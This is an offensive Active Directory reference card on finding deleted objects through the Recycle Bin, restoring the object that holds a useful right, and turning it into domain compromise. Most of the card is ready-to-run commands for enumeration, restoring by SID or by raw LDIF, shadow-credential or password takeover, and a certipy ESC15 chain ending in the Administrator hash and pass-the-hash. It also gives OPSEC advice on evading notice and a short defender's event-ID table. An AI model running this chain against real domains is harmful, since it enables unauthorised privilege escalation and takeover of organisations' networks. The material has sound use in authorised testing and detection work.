AD Recycle Bin Enumeration & Deleted-Object Recovery
The AD Recycle Bin keeps deleted objects restorable with their SID, group memberships and rights intact. That makes a deleted account a real attack surface: an object can be “gone” from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers enumerating and restoring deleted objects four ways — native PowerShell, PowerView, bloodyAD, ldapsearch — and turning a restored object into escalation.
[!tip] The tell — an unresolved SID that still holds rights In BloodHound (or any ACL dump), a raw SID with no principal name that owns an edge —
GenericAll,WriteOwner, anEnrollon a cert template — is the classic signature of a deleted object. If you also control its container (GenericAllover the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin.
Set the context
DC=10.10.10.10 # a domain controller
DOMAIN=corp.local
BASE='DC=corp,DC=local'
U=lowpriv ; P='Password123!' # any account that can read the directory
1 · Is the Recycle Bin enabled?
Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes
If EnabledScopes is populated, deleted objects restore with all attributes and links. If not, objects are tombstones — most attributes are stripped, but objectSid, lastKnownParent and msDS-LastKnownRDN still enumerate, which is enough to find and (often) restore them.
Lifecycle — tombstone vs Recycle Bin (what survives, how long)
Deletion has two very different afterlives, and which one you’re in decides what a restore actually gives back.
Recycle Bin ENABLED:
live ──delete──▶ DELETED object ──▶ RECYCLED object ──▶ GC-purged
isDeleted=TRUE isRecycled=TRUE
ALL attrs + links kept stripped to preserved set
fully restorable NOT restorable
for msDS-deletedObjectLifetime then tombstoneLifetime
Recycle Bin DISABLED:
live ──delete──▶ TOMBSTONE ──▶ GC-purged
isDeleted=TRUE
stripped to preserved set
reanimatable (empty shell)
for tombstoneLifetime
Both lifetimes live on the Directory Service object and default to 180 days:
# unset msDS-deletedObjectLifetime falls back to tombstoneLifetime
$cfg = (Get-ADRootDSE).configurationNamingContext
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$cfg" `
-Properties tombstoneLifetime,msDS-deletedObjectLifetime |
Format-List tombstoneLifetime,msDS-deletedObjectLifetime
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -s base \
-b 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \
'(objectClass=*)' tombstoneLifetime msDS-deletedObjectLifetime
| Attribute / link | Tombstone (bin OFF) | Deleted object (bin ON) |
|---|---|---|
objectSid, objectGUID | kept | kept |
sAMAccountName | kept | kept |
userAccountControl | stripped (reanimates disabled) | kept |
lastKnownParent, msDS-LastKnownRDN | kept | kept |
sIDHistory | kept | kept |
nTSecurityDescriptor | kept | kept |
group membership (memberOf / link-values) | stripped | kept |
password (unicodePwd), most other attrs | stripped | kept |
[!info] Lifetimes default to the tombstone value If
msDS-deletedObjectLifetimeis never set it inheritstombstoneLifetime; if that is also null the forest default applies (180 days on any forest built on Server 2003 SP1+, 60 on ancient ones). A deleted object only stays fully restorable formsDS-deletedObjectLifetime— after that it is recycled (stripped) and a restore returns an empty shell, exactly like the bin-OFF tombstone case.
[!warning] Two controls: Show Deleted (417) vs Show Recycled (2064)
1.2.840.113556.1.4.417(Show Deleted) returns objects still in the recoverable deleted state — the ones you want.1.2.840.113556.1.4.2064(Show Recycled) is a superset that ALSO returns fully recycled (stripped, unrestorable) objects. Either surfacesisDeleted=TRUE; use 2064 when you also want to see what has aged pastdeletedObjectLifetime. Of the §2 methods, only the bloodyAD (§2C) and ldapsearch (§2D) examples attach 2064; the ldap3 snippet (§2E) and the nativeGet-ADObject -IncludeDeletedObjects/ PowerView.Tombstonepaths use Show Deleted (417) under the hood, so they return recoverable deleted objects but not fully-recycled ones.
2 · Enumerate the Recycle Bin — four ways
Pick whichever matches your foothold. Always pull objectSid and lastKnownParent so duplicate copies can be told apart (see §3).
A · Windows PowerShell — native, no PowerView
The ActiveDirectory module ships on every DC (and any host with RSAT). -IncludeDeletedObjects is the switch:
Import-Module ActiveDirectory
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
-IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN |
Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent
# target one by its old name:
Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties *
B · Windows PowerShell — with PowerView
PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a Get-DomainSearcher, flip .Tombstone, then FindAll():
Import-Module .\PowerView.ps1
$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))'
$ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control
$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent'))
$ds.FindAll() | ForEach-Object { $_.Properties }
[!warning] With PowerView,
Get-DomainObjectwill NOT show themGet-DomainObject/Get-DomainUserbuild a searcher without the tombstone control, so the bin looks empty and you conclude there’s nothing there — the trap that wastes time. You must drop to the rawGet-DomainSearcher+.Tombstone = $trueabove. PowerView also cannot restore an object — for that, fall back to nativeRestore-ADObjector bloodyAD (§4). When theActiveDirectorymodule is present, native (A) is one line and does both halves, so prefer it.
C · Linux — bloodyAD (no upload, no shell)
1.2.840.113556.1.4.2064 is the LDAP Show Recycled control (the superset — it also returns fully-recycled objects; the plain Show Deleted control is 417):
bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \
get search -c 1.2.840.113556.1.4.2064 \
--filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent
# works with a hash too: -p ':<nthash>'
D · Linux — ldapsearch
Same control by OID; the leading ! marks it critical:
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \
-E '!1.2.840.113556.1.4.2064' \
'(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN
E · Portable primitive — the Show Deleted control from any language
Every method above is just attaching one LDAP control to a search. From Python it works anywhere — no RSAT, no binary to drop:
from ldap3 import Server, Connection, SUBTREE
from ldap3.protocol.microsoft import show_deleted_control # OID 1.2.840.113556.1.4.417
c = Connection(Server("ldap://10.10.10.10"),
user="corp\\lowpriv", password="Password123!", auto_bind=True)
c.search("DC=corp,DC=local", "(isDeleted=TRUE)", search_scope=SUBTREE,
attributes=["msDS-LastKnownRDN", "objectSid", "lastKnownParent"],
controls=[show_deleted_control(criticality=True)])
for e in c.entries:
print(e["objectSid"], e["msDS-LastKnownRDN"], e["lastKnownParent"])
[!warning] netexec/nxc won’t see the bin by default
nxc ldap $DC -u "$U" -p "$P" --query '(isDeleted=TRUE)' 'objectSid lastKnownParent'runs an ordinary search without the Show Deleted control, so it comes back empty and looks like nothing was deleted — the same trap as PowerView’sGet-DomainObject. For deleted objects use bloodyAD / ldapsearch / the ldap3 snippet above, which attach the control. nxc’s place here is confirming reachability and authenticating as the account once it is restored (nxc smb $DC -u <restored> -p '<pw>').
3 · Tell duplicate copies apart
A name that was deleted more than once leaves several tombstones with the same msDS-LastKnownRDN, differing only by RID in objectSid. Only one may carry the right you want, so do not restore blindly:
| Deleted object | objectSid (RID) | Notes |
|---|---|---|
<name> (copy 1) | S-1-5-21-…-1109 | no useful rights |
<name> (copy 2) | S-1-5-21-…-1110 | no useful rights |
<name> (copy 3) | S-1-5-21-…-1111 | holds the Enroll / ACL edge |
[!tip] Match the SID to the edge before restoring Take the raw SID from the BloodHound edge (the unresolved principal from the tell above) and match it to the
objectSidcolumn from §2.msDS-LastKnownRDNgives the old name,lastKnownParentthe OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights.
4 · Restore and take over
# Linux — restore the exact SID that owns the edge
bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111'
# Windows — restore natively. Easiest: filter the bin by the SID that owns the
# edge and pipe straight to Restore-ADObject (no need to copy the mangled DN):
Get-ADObject -Filter "objectSid -eq 'S-1-5-21-…-1111'" -IncludeDeletedObjects | Restore-ADObject
# or restore by the deleted-object DN (from Get-ADObject -IncludeDeletedObjects):
Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'
# confirm it came back, enabled, under its old OU:
Get-ADUser -Identity <restored> | Select-Object SamAccountName,Enabled,DistinguishedName
If you control the restored object (e.g. GenericAll over its OU covers restored children too), take it over — reset the password or add shadow credentials:
certipy-ad shadow auto -target "$DC" -u "$U@$DOMAIN" -p "$P" -account <restored>
# or: bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>'
What set restore actually does (reanimation under the hood)
Reanimation is one LDAP modify — there is no dedicated “restore” verb in LDAP. bloodyAD set restore (and Restore-ADObject) read the deleted object’s lastKnownParent + msDS-LastKnownRDN, rebuild the original DN, then send the modify below, carrying the Show Deleted control so the DC lets them touch a deleted object:
dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
changetype: modify
delete: isDeleted
-
replace: distinguishedName
distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
# the same thing by hand (control 417 marked critical). The DEL:GUID mangling in the
# DN is literal; grab the exact deleted DN from your §2 enumeration and paste it in.
ldapmodify -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -e '!1.2.840.113556.1.4.417' <<'LDIF'
dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
changetype: modify
delete: isDeleted
-
replace: distinguishedName
distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
LDIF
[!info] A reanimated tombstone comes back as a disabled, empty shell Clearing
isDeletedand setting the new DN is all reanimation does — it does not rebuild stripped attributes. From a bin-OFF tombstone the account returns disabled, with no password and no group membership, so you must enable it, reset the password and re-add groups (each separately logged). A bin-ON deleted object restores with password, SPNs and memberships intact and in its prior enabled/disabled state — that gap is the whole reason §1’s feature check matters.
5 · Turn the restored object into escalation
A restored account brings back rights the live tree was hiding — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored ADCS enrollee on a vulnerable template:
# enumerate templates as the restored principal
certipy-ad find -target "$DC" -u <restored>@$DOMAIN -p '<pw>' -vulnerable -stdout
# e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject:
certipy-ad req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \
-ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \
-upn administrator@$DOMAIN -application-policies 'Client Authentication'
certipy-ad auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC"
# -> Administrator NT hash -> pass-the-hash
Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a servicePrincipalName (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks.
Blue-team detection & OPSEC
Enumeration and restore look completely different to a defender: one is a read, the other rewrites the directory and replicates.
| Event ID | Log / subcategory | Fires when |
|---|---|---|
| 4662 | Security — needs a SACL on CN=Deleted Objects (not default) | someone reads / enumerates the Deleted Objects container |
| 5138 | Directory Service Changes | object undeleted — the precise reanimation event |
| 5139 | Directory Service Changes | object moved (the DN change part of the restore) |
| 5136 | Directory Service Changes | object modified (isDeleted cleared, later attribute writes) |
| 5137 | Directory Service Changes | object created (a fresh create, not a reanimation) |
| 4722 / 4738 | Security | restored user enabled / changed afterward |
| 4741 / 4742 | Security | restored computer account created / changed afterward |
| 4728 / 4732 / 4756 | Security | restored principal re-added to a privileged group |
[!warning] OPSEC — enumerate freely, restore deliberately Enumeration is quiet. A Show-Deleted search is an ordinary LDAP read; 4662 only fires if someone placed a SACL on the Deleted Objects container, which is rare, so listing the bin usually leaves nothing behind. Restore is loud and stateful. It writes to the directory (5138 undelete / 5139 move / 5136 modify wherever Directory Service Changes auditing is on), replicates to every DC, and — the part no tooling can hide — makes a “dead” account visibly reappear, so any admin or SIEM watching account lifecycle sees a resurrection. Pick the exact SID from §3 first, restore once, use it fast, and expect it to be noticed.
Takeaways
[!tip] Recycle-Bin habit
- Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.
- Enumerate with
Get-ADObject -IncludeDeletedObjects(native) or the Show Recycled control1.2.840.113556.1.4.2064(bloodyAD/ldapsearch). With PowerView you must useGet-DomainSearcher+.Tombstone = $true—Get-DomainObjectwon’t show deleted objects.- When duplicates exist, match
objectSidto the edge’s SID before restoring.GenericAllover an OU covers restored objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast).- Enumeration is a quiet read; restore is a logged write — reanimation fires Event 5138 (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need.
Troubleshooting
| Problem | Cause & fix |
|---|---|
Get-ADObject -IncludeDeletedObjects returns nothing | The Recycle Bin (or the tombstone window) may be empty, or you lack read on the Deleted Objects container. Confirm the feature state first (section 1) |
| Deleted object is missing attributes you need | Tombstoning strips most attributes; the Recycle Bin preserves them. If an attribute is gone, the object tombstoned before the bin was enabled — it cannot be recovered |
Restore-ADObject : access denied | You have read but not the Reanimate-Tombstones extended right / write on the object. Enumeration is a read; restore is a privileged write |
| Two deleted objects share a name | Expected — each deletion appends \0ADEL:<GUID>. Disambiguate on objectSid, not on name (section 3) |
PowerView Get-DomainObject shows no deleted objects | By design. Use Get-DomainSearcher with .Tombstone = $true, or the native cmdlet / LDAP control instead |
ldapsearch returns live objects only | The Show-Deleted control is not set. Pass -E '!1.2.840.113556.1.4.417' (or bloodyAD’s --include-deleted) to see tombstoned entries |
| Restored account cannot log on | Reanimated accounts come back disabled with no password. Enable it and reset the password (with the rights the restore gave you) before use |
See Also
- Active Directory Enumeration — Native Tooling — the live-object counterpart to this deleted-object workflow.
- ADCS & Certificate Abuse — a restored object with enrolment rights feeds straight into ESC chains.
- ACL & Object Abuse — how
GenericAllover an OU converts a restore into takeover.